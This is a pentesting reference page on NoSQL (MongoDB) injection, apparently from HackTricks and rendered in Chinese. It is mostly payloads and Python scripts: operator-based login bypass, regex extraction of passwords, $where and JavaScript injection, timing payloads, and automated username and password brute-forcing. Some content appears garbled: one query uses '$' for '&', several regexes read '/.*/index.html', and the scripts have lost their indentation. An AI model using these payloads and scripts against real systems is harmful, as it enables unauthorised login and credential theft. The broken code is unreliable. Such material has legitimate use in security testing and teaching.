hacktricks/src/pentesting-web/nosql-injection.md

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# NoSQL 注入
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## 利用
在 PHP 中,您可以通过将发送的参数从 _parameter=foo_ 更改为 _parameter\[arrName]=foo_ 来发送一个数组。
这些利用基于添加一个 **Operator**
```bash
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
```
### 基本认证绕过
**使用不等于 ($ne) 或大于 ($gt)**
```bash
#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true
#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
```
### **SQL - Mongo**
```javascript
query = { $where: `this.username == '${username}'` }
```
攻击者可以通过输入类似 `admin' || 'a'=='a` 的字符串来利用这一点,使查询通过满足一个恒真条件(`'a'=='a'`)返回所有文档。这类似于 SQL 注入攻击,其中使用像 `' or 1=1-- -` 的输入来操纵 SQL 查询。在 MongoDB 中,可以使用类似的注入,输入如 `' || 1==1//``' || 1==1%00``admin' || 'a'=='a`
```
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
```
### 提取 **长度** 信息
```bash
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...
```
### 提取 **数据** 信息
```
in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*
in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
```
### **SQL - Mongo**
```
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
```
### PHP 任意函数执行
使用 [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) 库的 **$func** 操作符(默认使用),可能会执行任意函数,如 [此报告](https://swarm.ptsecurity.com/rce-cockpit-cms/) 中所述。
```python
"user":{"$func": "var_dump"}
```
![https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png](<../images/image (933).png>)
### 从不同集合获取信息
可以使用 [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) 从不同集合获取信息。在以下示例中,我们从一个名为 **`users`** 的 **不同集合** 中读取,并获取 **所有条目** 的结果,这些条目的密码与通配符匹配。
**注意:** 只有在使用 `aggregate()` 函数进行搜索时,`$lookup` 和其他聚合函数才可用,而不是更常用的 `find()``findOne()` 函数。
```json
[
{
"$lookup": {
"from": "users",
"as": "resultado",
"pipeline": [
{
"$match": {
"password": {
"$regex": "^.*"
}
}
}
]
}
}
]
```
## MongoDB Payloads
列表 [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
```
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/index.html)//+%00
' && this.passwordzz.match(/.*/index.html)//+%00
'%20%26%26%20this.password.match(/.*/index.html)//+%00
'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
```
## 盲目 NoSQL 脚本
```python
import requests, string
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
```
```python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
```
### 从POST登录进行暴力破解登录用户名和密码
这是一个简单的脚本,您可以对其进行修改,但之前的工具也可以完成此任务。
```python
import requests
import string
url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames
for u in get_usernames(""):
get_password(u)
```
## 工具
- [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
- [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
## 参考资料
- [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
- [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
- [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
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